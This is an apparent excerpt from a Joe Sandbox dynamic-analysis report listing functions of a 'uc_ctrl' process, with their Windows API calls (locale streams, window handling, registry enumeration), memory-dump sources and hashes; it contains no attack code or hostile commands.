                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6CEF2E72
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF2E87
                                                                                              • ?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6CEF2F25
                                                                                              • ?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6CEF2F5F
                                                                                              • ?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6CEF2F82
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@2@W@std@@@std@@@std@@$Rep@?$num_put@_V32@_$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@_V32@Vlocale@2@std::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 1449803472-0
                                                                                              • Opcode ID: 21747aaf97c4cfd044029d11cdebdc006d9805a0503378b5566ef5929484ec6b
                                                                                              • Instruction ID: 2a6a753fa8233741d31500f7911dddc0230f3f23fc29686f1793b35380fa2c90
                                                                                              • Opcode Fuzzy Hash: 21747aaf97c4cfd044029d11cdebdc006d9805a0503378b5566ef5929484ec6b
                                                                                              • Instruction Fuzzy Hash: BD51B172900259EFDB04CF90C855BEEBBB4BF18318F244518E815ABB80D774AD55CBA0
                                                                                              Function 6CEF09D0 Relevance: 10.6, APIs: 7, Instructions: 134COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEF09D7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6CEF0A22
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF0A37
                                                                                              • ?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6CEF0AD5
                                                                                              • ?_Put@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@PB_WI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6CEF0B0F
                                                                                              • ?_Rep@?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@_WI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6CEF0B32
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$ostreambuf_iterator@_$W@std@@@2@W@std@@@std@@@std@@$Rep@?$num_put@_V32@_$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@_V32@Vlocale@2@std::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 1449803472-0
                                                                                              • Opcode ID: fcf9b1c82c48dea571a04d27eda1a033f492bb176e7a2b2f0a56626e0ce7f88c
                                                                                              • Instruction ID: fcddd6c86cbf7b93dda7d202ef5cd93c48ee46d95ef57163198f12c21fcb2077
                                                                                              • Opcode Fuzzy Hash: fcf9b1c82c48dea571a04d27eda1a033f492bb176e7a2b2f0a56626e0ce7f88c
                                                                                              • Instruction Fuzzy Hash: 3A519171900659EFDB14CF90C854BEEBBB4FF08318F244519E815ABB80D774AA56CBA0
                                                                                              Function 6CEE8990 Relevance: 10.6, APIs: 7, Instructions: 133COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CEE8997
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,?,?,?,?,?,00000044), ref: 6CEE89E3
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEE89F8
                                                                                              • ?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,00000001,00000000,?), ref: 6CEE8A94
                                                                                              • ?_Put@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@PBDI@Z.MSVCP140(?,?,?,?,?,?,00000001,00000000,?), ref: 6CEE8ACE
                                                                                              • ?_Rep@?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABA?AV?$ostreambuf_iterator@DU?$char_traits@D@std@@@2@V32@DI@Z.MSVCP140(?,?,?,?,?,00000000,?,?,?,?,?,?,00000001,00000000,?), ref: 6CEE8AF1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$ostreambuf_iterator@$D@std@@@2@D@std@@@std@@@std@@V32@$Rep@?$num_put@$?getloc@ios_base@std@@H_prolog3_Put@?$num_put@Vlocale@2@std::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 1039342991-0
                                                                                              • Opcode ID: 5c8b22b18df469c495ff61f0592fdf6930580239cf992340a84e0e06ff7b8bb3
                                                                                              • Instruction ID: 807c00484a307fc15f17cd03e64e655e00c232beaaf71f19432ceb84a02f5ceb
                                                                                              • Opcode Fuzzy Hash: 5c8b22b18df469c495ff61f0592fdf6930580239cf992340a84e0e06ff7b8bb3
                                                                                              • Instruction Fuzzy Hash: 18519071A00259EFDF24CFA4C854BEEBBB4BF0C354F24411AE805A7B80D775AA05CBA0
                                                                                              Function 6CF9B17F Relevance: 10.6, APIs: 7, Instructions: 128windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetParent.USER32(?), ref: 6CF9B1AC
                                                                                              • PeekMessageW.USER32(00000000,00000000,00000000,00000000,00000000), ref: 6CF9B1D0
                                                                                              • UpdateWindow.USER32(?), ref: 6CF9B1EA
                                                                                              • SendMessageW.USER32(?,00000121,00000000,?), ref: 6CF9B20D
                                                                                              • SendMessageW.USER32(?,0000036A,00000000,00000000), ref: 6CF9B224
                                                                                              • UpdateWindow.USER32(?), ref: 6CF9B275
                                                                                              • PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 6CF9B2BD
                                                                                                • Part of subcall function 6CF9D632: GetWindowLongW.USER32(?,000000F0), ref: 6CF9D63F
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Message$Window$PeekSendUpdate$LongParent
                                                                                              • String ID:
                                                                                              • API String ID: 2853195852-0
                                                                                              • Opcode ID: 6b31e6e9559a7f46b8989feb1de62ab039539fb039d2c5c9a276c2a4ea721d3d
                                                                                              • Instruction ID: c6b7aaf8ef8ad552fdf377789491a9e2e7f3b2f506857f1e226d1187bf3d8f7e
                                                                                              • Opcode Fuzzy Hash: 6b31e6e9559a7f46b8989feb1de62ab039539fb039d2c5c9a276c2a4ea721d3d
                                                                                              • Instruction Fuzzy Hash: 3B41C131B05305BBFF229FA5CC84B9EBBB5FF05758F204568E914A69D0CBB0A944CB81
                                                                                              Function 6CFB3E79 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 120COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CFB3E80
                                                                                                • Part of subcall function 6CFEEE58: __EH_prolog3.LIBCMT ref: 6CFEEE5F
                                                                                                • Part of subcall function 6D008450: SetRectEmpty.USER32(?), ref: 6D00848B
                                                                                                • Part of subcall function 6CF8A0EB: __EH_prolog3.LIBCMT ref: 6CF8A0F2
                                                                                              • SetRectEmpty.USER32(?), ref: 6CFB3FC4
                                                                                              • SetRectEmpty.USER32 ref: 6CFB3FD5
                                                                                              • SetRectEmpty.USER32(?), ref: 6CFB3FDC
                                                                                                • Part of subcall function 6CF8B756: _wcslen.LIBCMT ref: 6CF8B769
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: EmptyRect$H_prolog3$_wcslen
                                                                                              • String ID: False$True
                                                                                              • API String ID: 2034430949-1895882422
                                                                                              • Opcode ID: 113b75c9c284266fc215c7ddcb79ee95fae6e6b5fd39a1446ccd1ed801ea1799
                                                                                              • Instruction ID: 673b0d2762444702b53cac06744f198b559d0c7173fc65a00ef5bc8a60110a47
                                                                                              • Opcode Fuzzy Hash: 113b75c9c284266fc215c7ddcb79ee95fae6e6b5fd39a1446ccd1ed801ea1799
                                                                                              • Instruction Fuzzy Hash: CA51B2B09153419FDB4ACF28D4847E97BE8BB08704F1981BEE91D9B396CB741205CFA5
                                                                                              Function 6CF8DF11 Relevance: 10.6, APIs: 7, Instructions: 119windowthreadCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF8DE75: GetParent.USER32(?), ref: 6CF8DEC3
                                                                                                • Part of subcall function 6CF8DE75: GetLastActivePopup.USER32(?), ref: 6CF8DED6
                                                                                                • Part of subcall function 6CF8DE75: IsWindowEnabled.USER32(?), ref: 6CF8DEEA
                                                                                                • Part of subcall function 6CF8DE75: EnableWindow.USER32(?,00000000), ref: 6CF8DEFD
                                                                                              • EnableWindow.USER32(?,00000001), ref: 6CF8DF5C
                                                                                              • GetWindowThreadProcessId.USER32(?,?), ref: 6CF8DF72
                                                                                              • GetCurrentProcessId.KERNEL32 ref: 6CF8DF7C
                                                                                              • SendMessageW.USER32(?,00000376,00000000,00000000), ref: 6CF8DF92
                                                                                              • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 6CF8E015
                                                                                              • MessageBoxW.USER32(?,?,?,6CF8A556), ref: 6CF8E037
                                                                                              • EnableWindow.USER32(00000000,00000001), ref: 6CF8E05C
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$Enable$MessageProcess$ActiveCurrentEnabledFileLastModuleNameParentPopupSendThread
                                                                                              • String ID:
                                                                                              • API String ID: 1924968399-0
                                                                                              • Opcode ID: 83395d4c8710eb63d7fb5f672b9a27823fea67561722c18516f51193a491adbe
                                                                                              • Instruction ID: d283893fce840c2e2ae1a18df1032ea18e02cf81f6aec73dc892ce262f6c2f58
                                                                                              • Opcode Fuzzy Hash: 83395d4c8710eb63d7fb5f672b9a27823fea67561722c18516f51193a491adbe
                                                                                              • Instruction Fuzzy Hash: CA418475A4221D9BDB20DF68CC84BEEB7B8EF19714F10059AE918D7640DB709E818F91
                                                                                              Function 6CEFFA10 Relevance: 10.6, APIs: 7, Instructions: 117COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFFA17
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000030), ref: 6CEFFA26
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEE632C: __EH_prolog3.LIBCMT ref: 6CEE6333
                                                                                                • Part of subcall function 6CEE632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE633E
                                                                                                • Part of subcall function 6CEE632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE6356
                                                                                                • Part of subcall function 6CEE632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE63BA
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEFFA42
                                                                                                • Part of subcall function 6CEEA822: ?sputc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHD@Z.MSVCP140(?,?,?,6CEE96FB,?,00000000,00000000,?,6CEE9940,?,?,?,00000010,?,00000000,?), ref: 6CEEA832
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: H_prolog3$??1_?getloc@ios_base@std@@?sputc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Lockit@std@@U?$char_traits@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 866892492-0
                                                                                              • Opcode ID: d9aeb973f7d1e95e9c1939fa12d2b137968185bc55bbf60b8e45be28262b857a
                                                                                              • Instruction ID: f31c6612dfd5db5ba9c3cd266b64d78c86ce9f27f01508b258ab53732444c320
                                                                                              • Opcode Fuzzy Hash: d9aeb973f7d1e95e9c1939fa12d2b137968185bc55bbf60b8e45be28262b857a
                                                                                              • Instruction Fuzzy Hash: C1416B35A0125ADFCF05CFA8C850AEDBBB1BF09314F248189E86567391C734AE52DFA4
                                                                                              Function 6CFA78AB Relevance: 10.6, APIs: 7, Instructions: 108windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _wcslen.LIBCMT ref: 6CFA78BF
                                                                                              • GetFocus.USER32 ref: 6CFA78E7
                                                                                                • Part of subcall function 6CF9744F: UnhookWindowsHookEx.USER32(?), ref: 6CF97479
                                                                                              • IsWindowEnabled.USER32(?), ref: 6CFA7916
                                                                                              • EnableWindow.USER32(00000001,00000000), ref: 6CFA7931
                                                                                              • EnableWindow.USER32(00000000,00000001), ref: 6CFA79D0
                                                                                              • IsWindow.USER32(?), ref: 6CFA79DA
                                                                                              • SetFocus.USER32(?), ref: 6CFA79E5
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Window$EnableFocus$EnabledHookUnhookWindows_wcslen
                                                                                              • String ID:
                                                                                              • API String ID: 934345902-0
                                                                                              • Opcode ID: 6ff42e371b149903c53c7117247a5f54c754d88734fd48ac5fbb3a6307d71357
                                                                                              • Instruction ID: eb1152e28a9132135d9873adf6612a6fa969673ddd17797a527d343a1306dd6d
                                                                                              • Opcode Fuzzy Hash: 6ff42e371b149903c53c7117247a5f54c754d88734fd48ac5fbb3a6307d71357
                                                                                              • Instruction Fuzzy Hash: 02419E31701705EFDB089FA8C884F99FBB5FF49318F15816AE85887721CB70A855CB92
                                                                                              Function 6CF8D64B Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108registryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch_GS.LIBCMT ref: 6CF8D655
                                                                                              • RegOpenKeyExW.ADVAPI32(?,00000010,00000000,0002001F,?,00000230), ref: 6CF8D707
                                                                                                • Part of subcall function 6CF8D5E7: __EH_prolog3.LIBCMT ref: 6CF8D5EE
                                                                                                • Part of subcall function 6CF8D5E7: _wcslen.LIBCMT ref: 6CF8D628
                                                                                              • RegEnumKeyW.ADVAPI32(?,00000000,?,00000104), ref: 6CF8D72B
                                                                                              • RegCloseKey.ADVAPI32(?), ref: 6CF8D7FB
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseEnumH_prolog3H_prolog3_catch_Open_wcslen
                                                                                              • String ID: Software\Classes\
                                                                                              • API String ID: 2243273131-1121929649
                                                                                              • Opcode ID: e57c281cf586817b5e0860ae3c689020f6f396702b6337900f7c92ec84a0b8d9
                                                                                              • Instruction ID: 69631eead818245658a878138818a678a5424fc21436fbe68c1311c193a0b1bd
                                                                                              • Opcode Fuzzy Hash: e57c281cf586817b5e0860ae3c689020f6f396702b6337900f7c92ec84a0b8d9
                                                                                              • Instruction Fuzzy Hash: 4C417F7590221AABDF21DB64DD98BDEB7B5AF48314F2401D6D808A7680DB34DF88CF11
                                                                                              Function 6CF8D91A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 107registryCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_GS.LIBCMT ref: 6CF8D924
                                                                                              • RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00000008,?), ref: 6CF8DA15
                                                                                              • RegEnumKeyW.ADVAPI32(?,00000000,?,00000104), ref: 6CF8DA32
                                                                                              • RegCloseKey.ADVAPI32(?), ref: 6CF8DA53
                                                                                              • RegQueryValueW.ADVAPI32(80000001,?,?,?), ref: 6CF8DA6E
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: CloseEnumH_prolog3_OpenQueryValue
                                                                                              • String ID: Software\
                                                                                              • API String ID: 1666054129-964853688
                                                                                              • Opcode ID: 4c2526c1d2bd610a09391edfbb6a3c87c3b26fbe39edb6f6cb7789172cb96d00
                                                                                              • Instruction ID: d0c2569ab1988ca1cd38237ac0033667d47e7b029cbc1b2768dd0ffa29bc3211
                                                                                              • Opcode Fuzzy Hash: 4c2526c1d2bd610a09391edfbb6a3c87c3b26fbe39edb6f6cb7789172cb96d00
                                                                                              • Instruction Fuzzy Hash: 3C41737190212ABBDF21DBA0DC98FEEB779EF49318F1001D6E505A2690DB34DA84CF51
                                                                                              Function 6CEF4F4C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3_catch_GS.LIBCMT ref: 6CEF4F53
                                                                                              • localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(0000006C,6CEF04EC,?,00000001,0000003C,6CEF9D70,00000000), ref: 6CEF4F5D
                                                                                              • _Getcvt.MSVCP140(?,?,00000001,0000003C,6CEF9D70,00000000), ref: 6CEF4F6A
                                                                                                • Part of subcall function 6CEDF0F0: ___lc_codepage_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,6CEDD26D,?), ref: 6CEDF107
                                                                                                • Part of subcall function 6CEDF0F0: ___mb_cur_max_func.API-MS-WIN-CRT-LOCALE-L1-1-0(?,6CEDD26D,?), ref: 6CEDF111
